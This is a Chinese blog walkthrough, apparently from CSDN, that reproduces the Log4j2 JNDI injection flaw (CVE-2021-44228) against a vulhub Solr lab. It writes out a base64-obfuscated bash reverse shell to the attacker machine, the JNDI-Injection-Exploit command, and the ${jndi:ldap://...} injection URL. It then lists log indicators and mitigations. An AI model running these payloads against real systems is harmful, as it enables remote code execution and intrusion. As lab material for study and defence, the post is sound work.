Log4j2 JNDI 注入漏洞(CVE-2021-44228)漏洞复现

文章介绍了ApacheLog4j2中的JNDI注入漏洞,详细描述了环境搭建、利用JNDI注入工具实现远程代码执行的过程,并提供了判断攻击和防御方法,包括禁用lookup、拦截JNDI语句和升级组件版本等。
摘要由CSDN通过智能技术生成

一、前言

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。

Log4j是什么?JNDI又是什么?

Log4j2是一个Java日志框架,用于在应用程序中记录和管理日志信息。Log4j2被广泛应用于Java项目中,帮助开发人员进行日志记录和故障排查。

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现
 

二、环境搭建

攻击机:192.168.233.144

靶机:192.168.233.129 搭建环境

用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令

docker-compose up -d

查看端口

docker ps

发现开启的是8983,在浏览器上访问

​http://192.168.233.129:8983

三、利用JNDI注入工具

注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

将代码下载到本地,解压后找到pom.xml文件所在目录

在目录栏输入cmd,回车

在cmd命令窗中输入

mvn clean package -DskipTests

build成功后,pom.xml目录会出现target目录文件夹

此时将我们的JNDI文件夹整个复制到攻击机,进入到target目录

打开终端,利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,我们输入以下命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

构造反弹shell的命令base64编码

#编码前:
bash -i >& /dev/tcp/192.168.233.144/6666 0>&1
#编码后::bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xNDQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

推荐一个编码网站

https://ares-x.com/tools/runtime-exec/


最终命令为

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xNDQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.233.144"

再开个窗口监听6666端口

我们随便复制一条紫色的代码

http://192.168.233.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}

替换掉注入点中的代码

此时我们监听的端口,成功获得了反弹shell

可执行命令操作

这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

四、来自log4j攻击怎么判断?怎么防御?

排查是否受到了攻击:

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值